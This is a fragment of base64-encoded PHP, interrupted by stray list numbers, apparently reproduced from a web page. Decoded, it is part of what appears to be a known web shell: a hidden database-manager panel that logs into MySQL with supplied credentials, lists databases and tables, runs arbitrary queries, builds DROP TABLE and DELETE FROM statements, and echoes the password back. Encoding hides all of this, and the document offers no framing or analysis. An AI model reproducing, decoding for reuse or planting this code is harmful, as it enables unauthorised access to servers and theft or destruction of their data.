JGl0ZW1bMV0uIlwiPiIuJGl0ZW1bMF0uIjwvYT4mbmJzcDsmbmJzcDsmbmJzcDsmbmJzcDsiOw0K IH0NCn0NCmVjaG8gIjwvcD48L3RkPjwvdHI+PC90YWJsZT48YnI+IjsNCmlmICgoIWVtcHR5KCRk b25hdGVkX2h0bWwpKSBhbmQgKGluX2FycmF5KCRhY3QsJGRvbmF0ZWRfYWN0KSkpIHtlY2hvICI8 VEFCTEUgc3R5bGU9XCJCT1JERVItQ09MTEFQU0U6IGNvbGxhcHNlXCIgY2VsbFNwYWNpbmc9MCBi b3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPVwiMTAwJVwiIGJnQ29s b3I9IzAwMzMwMCBib3JkZXJDb2xvckxpZ2h0PSNjMGMwYzAgYm9yZGVyPTE+PHRyPjx0ZCB3aWR0 aD1cIjEwMCVcIiB2YWxpZ249XCJ0b3BcIj4iLiRkb25hdGVkX2h0bWwuIjwvdGQ+PC90cj48L3Rh YmxlPjxicj4iO30NCmVjaG8gIjxUQUJMRSBzdHlsZT1cIkJPUkRFUi1DT0xMQVBTRTogY29sbGFw c2VcIiBjZWxsU3BhY2luZz0wIGJvcmRlckNvbG9yRGFyaz0jNjY2NjY2IGNlbGxQYWRkaW5nPTUg d2lkdGg9XCIxMDAlXCIgYmdDb2xvcj0jMDAzMzAwIGJvcmRlckNvbG9yTGlnaHQ9I2MwYzBjMCBi b3JkZXI9MT48dHI+PHRkIHdpZHRoPVwiMTAwJVwiIHZhbGlnbj1cInRvcFwiPiI7DQppZiAoJGFj dCA9PSAiIikgeyRhY3QgPSAkZHNwYWN0ID0gImxzIjt9DQppZiAoJGFjdCA9PSAic3FsIikNCnsN CiBlY2hvKCI8Zm9ybSBuYW1lPSdzcWwnIG1ldGhvZD0nUE9TVCc+PGlucHV0IG5hbWU9J2FjdCcg dHlwZT0naGlkZGVuJyB2YWx1ZT0nc3FsJz48aW5wdXQgbmFtZT0nc3FsX3RibF9pbnNlcnRfcScg dHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2xvZ2luJyB0eXBlPSdoaWRk ZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdraWxsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdzcWxfb3JkZXInIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9 J3NxbF90YmxfbHMnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90Ymxf bGUnIHR5cGU9J2hpZGRlbicgdmFsdWU9Jyc+PGlucHV0IG5hbWU9J3NxbF90YmxfYWN0JyB0eXBl PSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSd0aGlzdGJsJyB0eXBlPSdoaWRkZW4nIHZh bHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfcGFzc3dkJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdzcWxfc2VydmVyJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1l PSdzcWxfcG9ydCcgdHlwZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX2RiJyB0 eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfYWN0JyB0eXBlPSdoaWRkZW4n IHZhbHVlPScnPjxpbnB1dCBuYW1lPSdzcWxfdGJsJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxp bnB1dCBuYW1lPSdmJyB0eXBlPSdoaWRkZW4nIHZhbHVlPScnPjxpbnB1dCBuYW1lPSdmdCcgdHlw ZT0naGlkZGVuJyB2YWx1ZT0nJz48aW5wdXQgbmFtZT0nc3FsX3F1ZXJ5JyB0eXBlPSdoaWRkZW4n IHZhbHVlPScnPjwvZm9ybT4iKTsNCg0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF9sb2dpbiddKSkg IHskc3FsX2xvZ2luPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfbG9naW4nXSk7fQ0KIGlm IChpc3NldCgkX1BPU1RbJ3NxbF9wYXNzd2QnXSkpIHskc3FsX3Bhc3N3ZD1odG1sc3BlY2lhbGNo YXJzKCRfUE9TVFsnc3FsX3Bhc3N3ZCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3NlcnZl ciddKSkgeyRzcWxfc2VydmVyPWh0bWxzcGVjaWFsY2hhcnMoJF9QT1NUWydzcWxfc2VydmVyJ10p O30NCiBpZiAoaXNzZXQoJF9QT1NUWydzcWxfcG9ydCddKSkgICB7JHNxbF9wb3J0PWh0bWxzcGVj aWFsY2hhcnMoJF9QT1NUWydzcWxfcG9ydCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX2Ri J10pKSAgICAgeyRzcWxfZGI9aHRtbHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9kYiddKTt9DQog aWYgKGlzc2V0KCRfUE9TVFsnc3FsX2FjdCddKSkgICAgIHskc3FsX2FjdD1odG1sc3BlY2lhbGNo YXJzKCRfUE9TVFsnc3FsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibCddKSkg
  • 12. ICAgIHskc3FsX3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibCddKTt9DQogaWYg KGlzc2V0KCRfUE9TVFsnc3FsX3RibF9hY3QnXSkpICAgICB7JHNxbF90YmxfYWN0PWh0bWxzcGVj aWFsY2hhcnMoJF9QT1NUWydzcWxfdGJsX2FjdCddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsndGhp c3RibCddKSkgICAgIHskdGhpc3RibD1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsndGhpc3RibCdd KTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX29yZGVyJ10pKSAgICAgeyRzcWxfb3JkZXI9aHRt bHNwZWNpYWxjaGFycygkX1BPU1RbJ3NxbF9vcmRlciddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsn c3FsX3RibF9scyddKSkgICAgIHskc3FsX3RibF9scz1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsn c3FsX3RibF9scyddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9sZSddKSkgICAgIHsk c3FsX3RibF9sZT1odG1sc3BlY2lhbGNoYXJzKCRfUE9TVFsnc3FsX3RibF9sZSddKTt9DQogaWYg KGlzc2V0KCRfUE9TVFsnc3FsX3F1ZXJ5J10pKSAgICAgeyRzcWxfcXVlcnk9aHRtbHNwZWNpYWxj aGFycygkX1BPU1RbJ3NxbF9xdWVyeSddKTt9DQogaWYgKGlzc2V0KCRfUE9TVFsnc3FsX3RibF9p bnNlcnRfcSddKSkgeyRzcWxfdGJsX2luc2VydF9xPXVybGRlY29kZShodG1sc3BlY2lhbGNoYXJz KCRfUE9TVFsnc3FsX3RibF9pbnNlcnRfcSddKSk7fQ0KIGlmIChpc3NldCgkX1BPU1RbJ3NxbF90 YmxfaW5zZXJ0X2Z1bmN0cyddKSkgeyRzcWxfdGJsX2luc2VydF9mdW5jdHM9aHRtbHNwZWNpYWxj aGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X2Z1bmN0cyddKTt9DQogaWYgKGlzc2V0KCRfUE9T VFsnc3FsX3RibF9pbnNlcnRfcmFkaW8nXSkpIHskc3FsX3RibF9pbnNlcnRfcmFkaW89aHRtbHNw ZWNpYWxjaGFycygkX1BPU1RbJ3NxbF90YmxfaW5zZXJ0X3JhZGlvJ10pO30NCg0KDQoNCiA/PjxU QUJMRSBzdHlsZT0iQk9SREVSLUNPTExBUFNFOiBjb2xsYXBzZSIgaGVpZ2h0PTEgY2VsbFNwYWNp bmc9MCBib3JkZXJDb2xvckRhcms9IzY2NjY2NiBjZWxsUGFkZGluZz01IHdpZHRoPSIxMDAlIiBi Z0NvbG9yPSMwMDMzMDAgYm9yZGVyQ29sb3JMaWdodD0jYzBjMGMwIGJvcmRlcj0xIGJvcmRlcmNv bG9yPSIjQzBDMEMwIj48dHI+PHRkIHdpZHRoPSIxMDAlIiBoZWlnaHQ9IjEiIGNvbHNwYW49IjIi IHZhbGlnbj0idG9wIj48Y2VudGVyPjw/cGhwDQogaWYgKCRzcWxfc2VydmVyKQ0KIHsNCiAgJHNx bF9zb2NrID0gbXlzcWxfY29ubmVjdCgkc3FsX3NlcnZlci4iOiIuJHNxbF9wb3J0LCAkc3FsX2xv Z2luLCAkc3FsX3Bhc3N3ZCk7DQogICRlcnIgPSBteXNxbF9zbWFydGVycm9yKCk7DQogIEBteXNx bF9zZWxlY3RfZGIoJHNxbF9kYiwkc3FsX3NvY2spOw0KICBpZiAoJHNxbF9xdWVyeSBhbmQgJHN1 Ym1pdCkgeyRzcWxfcXVlcnlfcmVzdWx0ID0gbXlzcWxfcXVlcnkoJHNxbF9xdWVyeSwkc3FsX3Nv Y2spOyAkc3FsX3F1ZXJ5X2Vycm9yID0gbXlzcWxfc21hcnRlcnJvcigpO30NCiB9DQogZWxzZSB7 JHNxbF9zb2NrID0gRkFMU0U7fQ0KIGVjaG8gIjxiPlNRTCBNYW5hZ2VyOjwvYj48YnI+IjsNCiBp ZiAoISRzcWxfc29jaykNCiB7DQogIGlmICghJHNxbF9zZXJ2ZXIpIHtlY2hvICJOTyBDT05ORUNU SU9OIjt9DQogIGVsc2Uge2VjaG8gIjxjZW50ZXI+PGI+Q2FuJ3QgY29ubmVjdDwvYj48L2NlbnRl cj4iOyBlY2hvICI8Yj4iLiRlcnIuIjwvYj4iO30NCiB9DQogZWxzZQ0KIHsNCiAgJHNxbHF1aWNr bGF1bmNoID0gYXJyYXkoKTsNCiAgJHNxbHF1aWNrbGF1bmNoW10gPSBhcnJheSgiSW5kZXgiLCIj XCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNx bF9sb2dpbi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50 LnNxbC5zcWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiIn O2RvY3VtZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9z ZXJ2ZXIpLiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJz KCRzcWxfcG9ydCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVu Y2hbXSA9IGFycmF5KCJRdWVyeSIsIiNcIiBvbmNsaWNrPVwiZG9jdW1lbnQuc3FsLmFjdC52YWx1 ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0ncXVlcnknO2RvY3VtZW50LnNxbC5z cWxfZGIudmFsdWU9JyIudXJsZW5jb2RlKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfdGJs LnZhbHVlPSciLnVybGVuY29kZSgkc3FsX3RibCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9sb2dpbi52 YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5zcWxf cGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3VtZW50 LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpLiIn O2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcG9y dCkuIic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFy cmF5KCJTZXJ2ZXItc3RhdHVzIiwiI1wiIG9uY2xpY2s9XCJkb2N1bWVudC5zcWwuYWN0LnZhbHVl PSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygk c3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5o dG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFs dWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2RvY3VtZW50LnNxbC5zcWxfYWN0 LnZhbHVlPSdzZXJ2ZXJzdGF0dXMnO2RvY3VtZW50LnNxbC5zdWJtaXQoKTsiKTsNCiAgJHNxbHF1 aWNrbGF1bmNoW10gPSBhcnJheSgiU2VydmVyIHZhcmlhYmxlcyIsIiNcIiBvbmNsaWNrPVwiZG9j dW1lbnQuc3FsLmFjdC52YWx1ZT0nc3FsJztkb2N1bWVudC5zcWwuc3FsX2xvZ2luLnZhbHVlPSci Lmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbikuIic7ZG9jdW1lbnQuc3FsLnNxbF9wYXNzd2Qu dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bhc3N3ZCkuIic7ZG9jdW1lbnQuc3FsLnNx bF9zZXJ2ZXIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3NlcnZlcikuIic7ZG9jdW1l
  • 13. bnQuc3FsLnNxbF9wb3J0LnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wb3J0KS4iJztk b2N1bWVudC5zcWwuc3FsX2FjdC52YWx1ZT0nc2VydmVydmFycyc7ZG9jdW1lbnQuc3FsLnN1Ym1p dCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJQcm9jZXNzZXMiLCIjXCIgb25j bGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9sb2dp bi52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiInO2RvY3VtZW50LnNxbC5z cWxfcGFzc3dkLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpLiInO2RvY3Vt ZW50LnNxbC5zcWxfc2VydmVyLnZhbHVlPSciLmh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIp LiInO2RvY3VtZW50LnNxbC5zcWxfcG9ydC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxf cG9ydCkuIic7ZG9jdW1lbnQuc3FsLnNxbF9hY3QudmFsdWU9J3Byb2Nlc3Nlcyc7ZG9jdW1lbnQu c3FsLnN1Ym1pdCgpOyIpOw0KICAkc3FscXVpY2tsYXVuY2hbXSA9IGFycmF5KCJMb2dvdXQiLCIj XCIgb25jbGljaz1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnN1 Ym1pdCgpOyIpOw0KICBlY2hvICI8Y2VudGVyPjxiPk15U1FMICIubXlzcWxfZ2V0X3NlcnZlcl9p bmZvKCkuIiAocHJvdG8gdi4iLm15c3FsX2dldF9wcm90b19pbmZvICgpLiIpIHJ1bm5pbmcgaW4g Ii5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iOiIuaHRtbHNwZWNpYWxjaGFycygkc3Fs X3BvcnQpLiIgYXMgIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfbG9naW4pLiJAIi5odG1sc3BlY2lh bGNoYXJzKCRzcWxfc2VydmVyKS4iIChwYXNzd29yZCAtIFwiIi5odG1sc3BlY2lhbGNoYXJzKCRz cWxfcGFzc3dkKS4iXCIpPC9iPjxicj4iOw0KICBpZiAoY291bnQoJHNxbHF1aWNrbGF1bmNoKSA+ IDApIHtmb3JlYWNoKCRzcWxxdWlja2xhdW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1c IiIuJGl0ZW1bMV0uIlwiPjxiPiIuJGl0ZW1bMF0uIjwvYj48L2E+IF0gIjt9fQ0KICBlY2hvICI8 L2NlbnRlcj4iOw0KIH0NCiBlY2hvICI8L3RkPjwvdHI+PHRyPiI7DQogaWYgKCEkc3FsX3NvY2sp IHs/Pjx0ZCB3aWR0aD0iMjglIiBoZWlnaHQ9IjEwMCIgdmFsaWduPSJ0b3AiPjxjZW50ZXI+PGZv bnQgc2l6ZT0iNSI+IGkgPC9mb250PjwvY2VudGVyPjxsaT5JZiBsb2dpbiBpcyBudWxsLCBsb2dp biBpcyBvd25lciBvZiBwcm9jZXNzLjxsaT5JZiBob3N0IGlzIG51bGwsIGhvc3QgaXMgbG9jYWxo b3N0PC9iPjxsaT5JZiBwb3J0IGlzIG51bGwsIHBvcnQgaXMgMzMwNiAoZGVmYXVsdCk8L3RkPjx0 ZCB3aWR0aD0iOTAlIiBoZWlnaHQ9IjEiIHZhbGlnbj0idG9wIj48VEFCTEUgaGVpZ2h0PTEgY2Vs bFNwYWNpbmc9MCBjZWxsUGFkZGluZz0wIHdpZHRoPSIxMDAlIiBib3JkZXI9MD48dHI+PHRkPiZu YnNwOzxiPlBsZWFzZSwgZmlsbCB0aGUgZm9ybTo8L2I+PHRhYmxlPjx0cj48dGQ+PGI+VXNlcm5h bWU8L2I+PC90ZD48dGQ+PGI+UGFzc3dvcmQ8L2I+Jm5ic3A7PC90ZD48dGQ+PGI+RGF0YWJhc2U8 L2I+Jm5ic3A7PC90ZD48L3RyPjxmb3JtIGFjdGlvbj0iPD9waHAgZWNobyAkc3VybDsgPz4iIG1l dGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3FsIj48 dHI+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0IiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSJyb290IiBt YXhsZW5ndGg9IjY0Ij48L3RkPjx0ZD48aW5wdXQgdHlwZT0icGFzc3dvcmQiIG5hbWU9InNxbF9w YXNzd2QiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PHRkPjxpbnB1dCB0eXBlPSJ0ZXh0 IiBuYW1lPSJzcWxfZGIiIHZhbHVlPSIiIG1heGxlbmd0aD0iNjQiPjwvdGQ+PC90cj48dHI+PHRk PjxiPkhvc3Q8L2I+PC90ZD48dGQ+PGI+UE9SVDwvYj48L3RkPjwvdHI+PHRyPjx0ZCBhbGlnbj1y aWdodD48aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ic3FsX3NlcnZlciIgdmFsdWU9ImxvY2FsaG9z dCIgbWF4bGVuZ3RoPSI2NCI+PC90ZD48dGQ+PGlucHV0IHR5cGU9InRleHQiIG5hbWU9InNxbF9w b3J0IiB2YWx1ZT0iMzMwNiIgbWF4bGVuZ3RoPSI2IiBzaXplPSIzIj48L3RkPjx0ZD48aW5wdXQg dHlwZT0ic3VibWl0IiB2YWx1ZT0iQ29ubmVjdCI+PC90ZD48L3RyPjx0cj48dGQ+PC90ZD48L3Ry PjwvZm9ybT48L3RhYmxlPjwvdGQ+PD9waHAgfQ0KIGVsc2UNCiB7DQogIC8vU3RhcnQgbGVmdCBw YW5lbA0KICBpZiAoIWVtcHR5KCRzcWxfZGIpKQ0KICB7DQogICA/Pjx0ZCB3aWR0aD0iMjUlIiBo ZWlnaHQ9IjEwMCUiIHZhbGlnbj0idG9wIj48YSBocmVmPSIjIiBvbmNsaWNrPSJkb2N1bWVudC5z cWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9Jzw/ZWNobyAo aHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKSkgPz4nO2RvY3VtZW50LnNxbC5zcWxfcGFzc3dk LnZhbHVlPSc8P2VjaG8gKGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9wYXNzd2QpKSA/Pic7ZG9jdW1l bnQuc3FsLnNxbF9zZXJ2ZXIudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNpYWxjaGFycygkc3FsX3Nl cnZlcikpID8+Jztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9Jzw/ZWNobyAoaHRtbHNwZWNp YWxjaGFycygkc3FsX3BvcnQpKSA/Pic7ZG9jdW1lbnQuc3FsLnN1Ym1pdCgpOyI+PGI+SG9tZTwv Yj48L2E+PGhyIHNpemU9IjEiIG5vc2hhZGU+PD9waHANCiAgICRyZXN1bHQgPSBteXNxbF9saXN0 X3RhYmxlcygkc3FsX2RiKTsNCiAgIGlmICghJHJlc3VsdCkge2VjaG8gbXlzcWxfc21hcnRlcnJv cigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICBlY2hvICItLS1bIDxhIGhyZWY9XCIjXCIgb25jbGlj az1cImRvY3VtZW50LnNxbC5hY3QudmFsdWU9J3NxbCc7ZG9jdW1lbnQuc3FsLnNxbF9kYi52YWx1 ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfZGIpLiInO2RvY3VtZW50LnNxbC5zcWxfbG9naW4u dmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3Fs X3Bhc3N3ZC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVu dC5zcWwuc3FsX3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4i Jztkb2N1bWVudC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3Bv cnQpLiInO2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHNx bF9kYikuIjwvYj48L2E+IF0tLS08YnI+IjsNCiAgICAkYyA9IDA7DQogICAgd2hpbGUgKCRyb3cg
  • 14. PSBteXNxbF9mZXRjaF9hcnJheSgkcmVzdWx0KSkgeyRjb3VudCA9IG15c3FsX3F1ZXJ5ICgiU0VM RUNUIENPVU5UKCopIEZST00gIi4kcm93WzBdKTsgJGNvdW50X3JvdyA9IG15c3FsX2ZldGNoX2Fy cmF5KCRjb3VudCk7IGVjaG8gIjxiPrsmbmJzcDs8YSBocmVmPVwiI1wiIG9uY2xpY2s9XCJkb2N1 bWVudC5zcWwuYWN0LnZhbHVlPSdzcWwnO2RvY3VtZW50LnNxbC5zcWxfbG9naW4udmFsdWU9JyIu aHRtbHNwZWNpYWxjaGFycygkc3FsX2xvZ2luKS4iJztkb2N1bWVudC5zcWwuc3FsX3Bhc3N3ZC52 YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfcGFzc3dkKS4iJztkb2N1bWVudC5zcWwuc3Fs X3NlcnZlci52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRzcWxfc2VydmVyKS4iJztkb2N1bWVu dC5zcWwuc3FsX3BvcnQudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX3BvcnQpLiInO2Rv Y3VtZW50LnNxbC5zcWxfZGIudmFsdWU9JyIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iJztk b2N1bWVudC5zcWwuc3FsX3RibC52YWx1ZT0nIi5odG1sc3BlY2lhbGNoYXJzKCRyb3dbMF0pLiIn O2RvY3VtZW50LnNxbC5zdWJtaXQoKTtcIj48Yj4iLmh0bWxzcGVjaWFsY2hhcnMoJHJvd1swXSku IjwvYj48L2E+ICgiLiRjb3VudF9yb3dbMF0uIik8L2JyPjwvYj4iOyBteXNxbF9mcmVlX3Jlc3Vs dCgkY291bnQpOyAkYysrO30NCiAgICBpZiAoISRjKSB7ZWNobyAiTm8gdGFibGVzIGZvdW5kIGlu IGRhdGFiYXNlLiI7fQ0KICAgfQ0KICB9DQogIGVsc2UNCiAgew0KICAgPz48dGQgd2lkdGg9IjEi IGhlaWdodD0iMTAwIiB2YWxpZ249InRvcCI+PGEgaHJlZj0iPD9waHAgZWNobyAkX1NFUlZFUlsn UEhQX1NFTEYnXTsgPz4iPjxiPkhvbWU8L2I+PC9hPjxociBzaXplPSIxIiBub3NoYWRlPjw/cGhw DQogICAkcmVzdWx0ID0gbXlzcWxfbGlzdF9kYnMoJHNxbF9zb2NrKTsNCiAgIGlmICghJHJlc3Vs dCkge2VjaG8gbXlzcWxfc21hcnRlcnJvcigpO30NCiAgIGVsc2UNCiAgIHsNCiAgICA/Pjxmb3Jt IG1ldGhvZD0iUE9TVCI+PGlucHV0IHR5cGU9ImhpZGRlbiIgbmFtZT0iYWN0IiB2YWx1ZT0ic3Fs Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBuYW1lPSJzcWxfbG9naW4iIHZhbHVlPSI8P3BocCBlY2hv IGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9sb2dpbik7ID8+Ij48aW5wdXQgdHlwZT0iaGlkZGVuIiBu YW1lPSJzcWxfcGFzc3dkIiB2YWx1ZT0iPD9waHAgZWNobyBodG1sc3BlY2lhbGNoYXJzKCRzcWxf cGFzc3dkKTsgPz4iPjxpbnB1dCB0eXBlPSJoaWRkZW4iIG5hbWU9InNxbF9zZXJ2ZXIiIHZhbHVl PSI8P3BocCBlY2hvIGh0bWxzcGVjaWFsY2hhcnMoJHNxbF9zZXJ2ZXIpOyA/PiI+PGlucHV0IHR5 cGU9ImhpZGRlbiIgbmFtZT0ic3FsX3BvcnQiIHZhbHVlPSI8P3BocCBlY2hvIGh0bWxzcGVjaWFs Y2hhcnMoJHNxbF9wb3J0KTsgPz4iPjxzZWxlY3QgbmFtZT0ic3FsX2RiIj48P3BocA0KICAgICRj ID0gMDsNCiAgICAkZGJzID0gIiI7DQogICAgd2hpbGUgKCRyb3cgPSBteXNxbF9mZXRjaF9yb3co JHJlc3VsdCkpIHskZGJzIC49ICI8b3B0aW9uIHZhbHVlPVwiIi4kcm93WzBdLiJcIiI7IGlmICgk c3FsX2RiID09ICRyb3dbMF0pIHskZGJzIC49ICIgc2VsZWN0ZWQiO30gJGRicyAuPSAiPiIuJHJv d1swXS4iPC9vcHRpb24+IjsgJGMrKzt9DQogICAgZWNobyAiPG9wdGlvbiB2YWx1ZT1cIlwiPkRh dGFiYXNlcyAoIi4kYy4iKTwvb3B0aW9uPiI7DQogICAgZWNobyAkZGJzOw0KICAgfQ0KICAgPz48 L3NlbGVjdD48aHIgc2l6ZT0iMSIgbm9zaGFkZT5QbGVhc2UsIHNlbGVjdCBkYXRhYmFzZTxociBz aXplPSIxIiBub3NoYWRlPjxpbnB1dCB0eXBlPSJzdWJtaXQiIHZhbHVlPSJHbyI+PC9mb3JtPjw/ cGhwDQogIH0NCiAgLy9FbmQgbGVmdCBwYW5lbA0KICBlY2hvICI8L3RkPjx0ZCB3aWR0aD1cIjEw MCVcIiBoZWlnaHQ9XCIxXCIgdmFsaWduPVwidG9wXCI+IjsNCiAgLy9TdGFydCBjZW50ZXIgcGFu ZWwNCiAgJGRpcGxheSA9IFRSVUU7DQogIGlmICgkc3FsX2RiKQ0KICB7DQogICBpZiAoIWlzX251 bWVyaWMoJGMpKSB7JGMgPSAwO30NCiAgIGlmICgkYyA9PSAwKSB7JGMgPSAibm8iO30NCiAgIGVj aG8gIjxociBzaXplPVwiMVwiIG5vc2hhZGU+PGNlbnRlcj48Yj5UaGVyZSBhcmUgIi4kYy4iIHRh YmxlKHMpIGluIHRoaXMgREIgKCIuaHRtbHNwZWNpYWxjaGFycygkc3FsX2RiKS4iKS48YnI+IjsN CiAgIGlmIChjb3VudCgkZGJxdWlja2xhdW5jaCkgPiAwKSB7Zm9yZWFjaCgkZGJzcWxxdWlja2xh dW5jaCBhcyAkaXRlbSkge2VjaG8gIlsgPGEgaHJlZj1cIiIuJGl0ZW1bMV0uIlwiPiIuJGl0ZW1b MF0uIjwvYT4gXSAiO319DQogICBlY2hvICI8L2I+PC9jZW50ZXI+IjsNCiAgICRhY3RzID0gYXJy YXkoIiIsImR1bXAiKTsNCiAgIGlmICgkc3FsX2FjdCA9PSAidGJsZHJvcCIpIHskc3FsX3F1ZXJ5 ID0gIkRST1AgVEFCTEUiOyBmb3JlYWNoKCRib3h0YmwgYXMgJHYpIHskc3FsX3F1ZXJ5IC49ICJc bmAiLiR2LiJgICwiO30gJHNxbF9xdWVyeSA9IHN1YnN0cigkc3FsX3F1ZXJ5LDAsLTEpLiI7Ijsg JHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2VpZiAoJHNxbF9hY3QgPT0gInRibGVtcHR5Iikg eyRzcWxfcXVlcnkgPSAiIjsgZm9yZWFjaCgkYm94dGJsIGFzICR2KSB7JHNxbF9xdWVyeSAuPSAi REVMRVRFIEZST00gYCIuJHYuImAgXG4iO30gJHNxbF9hY3QgPSAicXVlcnkiO30NCiAgIGVsc2Vp 